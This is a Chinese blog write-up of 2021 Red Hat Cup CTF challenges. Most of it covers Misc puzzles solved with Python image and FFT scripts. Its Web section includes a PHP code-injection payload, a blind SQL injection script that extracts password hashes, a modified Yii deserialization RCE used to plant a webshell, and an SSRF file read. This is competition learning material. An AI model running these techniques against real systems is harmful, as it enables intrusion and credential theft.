CTF | 2021 红帽杯 WriteUp


引言

第四届“红帽杯”网络安全大赛

比赛时间:2021年5月9日10:00-18:00

https://race.ichunqiu.com/2021redhat

前段时间打了个红帽杯,不过这段时间一直在忙没空整理 Writeup。

趁着今天摸鱼,复现了两道 Misc 题。其他就简单记录一下吧。

Misc

签到

EBCDIC 编码

flag{we1c0me_t0_redhat2021}

colorful code

colorful code is beautiful, isn’t it?

最终得到flag的格式中加上flag{}包裹再提交

附件下载 提取码(GAME)备用下载

下载下来两个 data{1,2}

data1 是一串 0-19 之间的数字

data1

data2 是一堆奇奇怪怪但又有规律的字符

data2

而 data2 这最前面的东西好像颜色的标识啊。就类似于 #FF0000 这样。

于是发现可能是 npiet

参考 https://www.dangermouse.net/esoteric/piet.html

Piet is a programming language in which programs look like abstract paintings. The language is named after Piet Mondrian, who pioneered the field of geometric abstract art. I would have liked to call the language Mondrian, but someone beat me to it with a rather mundane-looking scripting language. Oh well, we can’t all be esoteric language writers I suppose.

参考 https://www.bertnase.de/npiet/

npiet is an interpreter for piet programs and takes as input a portable pixmap (a ppm file) and since v0.3a png and gif files too - other formats may follow.

这是一种基于图像颜色的编程语言,当然还有其他有意思而神秘的编程语言,详见 Esoteric programming language

统计一下 data1 总共有 7076 个数字,分解质因数 得到为 37*191。

考虑这就是图像的宽和高了。

按照原版的映射,颜色应该对应是下图这样的。

然而这题里魔改了一下,就根据 data2 重新映射一下。

写个 jio本。

"""
MiaoTony
"""
from PIL import Image


with open('data1', 'r') as fin:
    s = fin.read()

# print(s)
l = s.split(' ')[:-1]
# print(len(l))
# 7067
# 分解质因数 http://tools.jb51.net/jisuanqi/factor_calc
# 37*191

x = 37
y = 191

c = Image.new("RGB", (x, y))

# 原版映射
# colors = ["FFC0C0", "FFFFC0", "C0FFC0",
#           "C0FFFF", "C0C0FF", "FFC0FF",
#           "FF0000", "FFFF00", "00FF00",
#           "00FFFF", "0000FF", "FF00FF",
#           "C00000", "C0C000", "00C000",
#           "00C0C0", "0000C0", "C000C0",
#           "000000", "FFFFFF"]

# 按照 data2 前20个像素来映射
colors = ['000000', '0000C0', '00FFFF', '00FF00', 'FFC0FF', 'FFC0C0', 'C0C0FF', 'C0C000', 'FF00FF', 'FF0000',
          'C00000', 'C000C0', 'FFFFFF', 'FFFF00', 'FFFFC0', '00C000', '00C0C0', 'C0FFFF', 'C0FFC0', '0000FF']


def hex2int(h):
    return (int(h[:2], 16), int(h[2:4], 16), int(h[4:6], 16))


cnt = 0
for i in range(0, x):
    for j in range(0, y):
        color = colors[int(l[cnt])]
        c.putpixel([i, j], hex2int(color))
        cnt += 1

c.show()
c.save("c.png")

得到

c

再到 npiet online 上去执行一下,就能拿到 flag 了。

flag{88842f20-fb8c-45c9-ae8f-36135b6a0f11}

PicPic

你想成为CV大师嘛?

附件下载 提取码(GAME)备用下载

challenge 1

create.py

import os
import cv2
import struct
import numpy as np


def mapping(data, down=0, up=255, tp=np.uint8):
    data_max = data.max()
    data_min = data.min()
    interval = data_max - data_min
    new_interval = up - down
    new_data = (data - data_min) * new_interval / interval + down
    new_data = new_data.astype(tp)
    return new_data


def fft(img):
    fft = np.fft.fft2(img)
    fft = np.fft.fftshift(fft)
    m = np.log(np.abs(fft))
    p = np.angle(fft)
    return m, p


if __name__ == '__main__':
    os.mkdir('m')
    os.mkdir('p')
    os.mkdir('frame')
    os.system('ffmpeg -i secret.mp4 frame/%03d.png')

    files = os.listdir('frame')
    r_file = open('r', 'wb')

    for file in files:
        img = cv2.imread(f'frame/{file}', cv2.IMREAD_GRAYSCALE)

        m, p = fft(img)
        r_file.write(struct.pack('!ff', m.min(), m.max()))

        new_img1 = mapping(m)
        new_img2 = mapping(p)

        cv2.imwrite(f'm/{file}', new_img1)
        cv2.imwrite(f'p/{file}', new_img2)

    r_file.close()
    os.system('ffmpeg -i m/%03d.png -r 25 -vcodec png 1.mkv')
    os.system('ffmpeg -i p/%03d.png -r 25 -vcodec png 2.mkv')

可以发现把视频切分得到每一帧,然后 FFT 得到幅度m和相位p,再合并得到两个视频。文件 r 里存了每一帧中幅值的最大和最小值。

那咱就反过来,通过幅值和相位的视频切分得到每一帧,然后 IFFT 变换回去就完事了。

相位范围就是 -pi 到 pi 之间。

写个脚本。

"""
MiaoTony
"""
import os
import cv2
import struct
import numpy as np
from matplotlib.pyplot import plot, show


def unmapping(data_min, data_max, data, down=0, up=255, tp=np.uint8):
    interval = data_max - data_min
    new_interval = up - down
    new_data = (data-down) * interval / new_interval + data_min
    # new_data = (data - data_min) * new_interval / interval + down
    # new_data = new_data.astype(tp)
    return new_data


def fft(img):
    fft = np.fft.fft2(img)
    fft = np.fft.fftshift(fft)
    m = np.log(np.abs(fft))
    p = np.angle(fft)
    return m, p


def ifft(m, p):
    x = np.exp(m)*np.exp(1j*p)
    y = np.fft.ifftshift(x)
    img = np.real(np.fft.ifft2(y))
    img = img.astype(np.uint8)
    # print(img)
    return img


if __name__ == '__main__':
    # os.mkdir('m')
    # os.mkdir('p')
    # os.mkdir('frame')
    # os.system('ffmpeg -i 1.mkv m/%03d.png')
    # os.system('ffmpeg -i 2.mkv p/%03d.png')

    r_file = open('r', 'rb')
    s = r_file.read()
    r_file.close()
    print(s)
    m_data = []
    for i in range(len(s)//8):
        x = struct.unpack('!ff', s[i*8:(i+1)*8])
        # print(x)
        # min, max
        m_data.append(x)

    files = os.listdir('m')
    for idx, file in enumerate(files):
        m_img = cv2.imread(f'm/{file}', cv2.IMREAD_GRAYSCALE)
        p_img = cv2.imread(f'p/{file}', cv2.IMREAD_GRAYSCALE)

        m_min, m_max = m_data[idx]
        m = unmapping(m_min, m_max, m_img)
        p = unmapping(-np.pi, np.pi, p_img)

        img_raw = ifft(m, p)
        # plot(img_raw)
        # show()
        cv2.imwrite(f'frame/{file}', img_raw)

在还原后的视频的最后,得到压缩包的解压密码 zs6hmdlq5ohav5l1

challenge 2

hint.txt 是个 MathML

<math><mrow><mo>{</mo><mtable><mtr><mtd><mi>A</mi><mi>cos</mi><mo>⁡</mo><mo>(</mo><mi>m</mi><mi>x</mi><mo>+</mo><mi>n</mi><mo>)</mo></mtd></mtr><mtr><mtd><mi>B</mi><mi>cos</mi><mo>⁡</mo><mo>(</mo><mi>p</mi><mi>x</mi><mo>+</mo><mi>q</mi><mo>)</mo></mtd></mtr></mtable><mo></mo></mrow><mo>⟶</mo><mrow><mo>{</mo><mtable><mtr><mtd><mi>A</mi><mi>cos</mi><mo>⁡</mo><mo>(</mo><mi>p</mi><mi>x</mi><mo>+</mo><mi>q</mi><mo>)</mo></mtd></mtr><mtr><mtd><mi>B</mi><mi>cos</mi><mo>⁡</mo><mo>(</mo><mi>m</mi><mi>x</mi><mo>+</mo><mi>n</mi><mo>)</mo></mtd></mtr></mtable><mo></mo></mrow><math>

也就是

意思是幅值不变,而相位相互交换。

另外给了两张图

mix1

mix2

第二张明显有个二维码,脚本整一个!

"""
MiaoTony
"""
import os
import cv2
import struct
import numpy as np
from matplotlib.pyplot import plot, show


def fft(img):
    fft = np.fft.fft2(img)
    fft = np.fft.fftshift(fft)
    m = np.log(np.abs(fft))
    p = np.angle(fft)
    return m, p


def ifft(m, p):
    x = np.exp(m)*np.exp(1j*p)
    y = np.fft.ifftshift(x)
    img = np.real(np.fft.ifft2(y))
    img = img.astype(np.uint8)
    # print(img)
    return img


if __name__ == '__main__':
    img1 = cv2.imread(f'mix1.png', cv2.IMREAD_GRAYSCALE)
    img2 = cv2.imread(f'mix2.png', cv2.IMREAD_GRAYSCALE)

    m1, p1 = fft(img1)
    m2, p2 = fft(img2)
    new_img1 = ifft(m1, p2)
    new_img2 = ifft(m2, p1)

    cv2.imwrite('new1.png', new_img1)
    cv2.imwrite('new2.png', new_img2)

其中一张里面就看出二维码了。

new1

再稍微调一下图像的曲线。

扫码得到

0f88b8529ab6c0dd2b5ceefaa1c5151aa207da114831b371ddcafc74cf8701c1d3318468d50e4b1725179d1bc04b251f

唔,IFFT 那步应该取模值而不是直接取实部,也就是改成

img = np.abs(np.fft.ifft2(y))

这样得到的图片就不会丢失虚部的信息了。

final challenge

phase

根据文件名称,盲猜是相位上有猫腻。

首先将幅值调整到 -pi 到 pi 之间,当作相位,作傅里叶反变换,最后再归一化到 0 到 255 之间,画出图像。

import os
import cv2
import struct
import numpy as np
from matplotlib.pyplot import plot, show


def mapping(data, down=0, up=255, tp=np.uint8):
    data_max = data.max()
    data_min = data.min()
    interval = data_max - data_min
    new_interval = up - down
    new_data = (data - data_min) * new_interval / interval + down
    new_data = new_data.astype(tp)
    return new_data


def fft(img):
    fft = np.fft.fft2(img)
    fft = np.fft.fftshift(fft)
    m = np.log(np.abs(fft))
    p = np.angle(fft)
    return m, p


def ifft(p):
    x = np.exp(1j*p)
    y = np.fft.ifftshift(x)
    img = np.abs(np.fft.ifft2(y))
    return img


if __name__ == '__main__':
    img = cv2.imread(f'phase.png', cv2.IMREAD_GRAYSCALE)
    # print(img.max(), img.min())

    p = mapping(img, -np.pi, np.pi, tp=np.float64)
    img_raw = ifft(p)
    img2 = mapping(img_raw)
    cv2.imwrite('final.png', img2)

final

得到 AESKEY: a8bms0v4qer3wgd67ofjhyxku5pi1czl

而后用 AES ECB 模式解密

from Crypto.Cipher import AES

key = "a8bms0v4qer3wgd67ofjhyxku5pi1czl"
aes = AES.new(key, AES.MODE_ECB)
cipher = binascii.unhexlify(
    "0f88b8529ab6c0dd2b5ceefaa1c5151aa207da114831b371ddcafc74cf8701c1d3318468d50e4b1725179d1bc04b251f")
flag = aes.decrypt(cipher)
print(flag)
# b'flag{1ba48c8b-4eca-46aa-8216-d164538af310}\x06\x06\x06\x06\x06\x06'

flag{1ba48c8b-4eca-46aa-8216-d164538af310}

草,果然是 CV 带师,把傅里叶变换各种折腾,喵喵是 fw,咱自己爬((

Web

find_it

robots.txt 泄露,访问 1ndexx.php 报500,后打开 .1ndexx.php.swp 拿到源码,phpinfo 页面拿到 flag

code=<?php phpinfo();?>

framework

www.zip 拿到源码

yii 反序列化漏洞 RCE CVE-2020-15148

https://ca01h.top/code_audit/PHP/8.Yii2%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E5%8F%8A%E6%8B%93%E5%B1%95/#%E7%BC%96%E5%86%99EXP

魔改 exp file_put_contents 上传马,然后蚁剑连上后绕过 disable_function,拿到 flag

WebsiteManger

image.php?id= 存在注入

import requests

passwd = ''
for i in range(1, 100):
    for j in range(48, 103):
        url = 'http://eci-2zeir5o8p6vh97bek411.cloudeci1.ichunqiu.com/image.php?id=if(ascii(substr((select/**/group_concat(password)/**/from/**/users),{},1))={},1,0)'.format(
            i, j)
        r = requests.get(url)
        if(r.content):
            print(chr(j))
            passwd += chr(j)
            print(passwd)
            continue

# e845b14ae11ff886a2f72

admin / e845b14ae11ff886a2f72 登录

而后 SSRF file:///flag 拿到 flag

小结

喵喵好菜啊,喵呜呜。

写论文好烦啊,太难受啦!

还是摸鱼舒服。

(溜了溜了


文章作者: MiaoTony
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 MiaoTony !
评论
  目录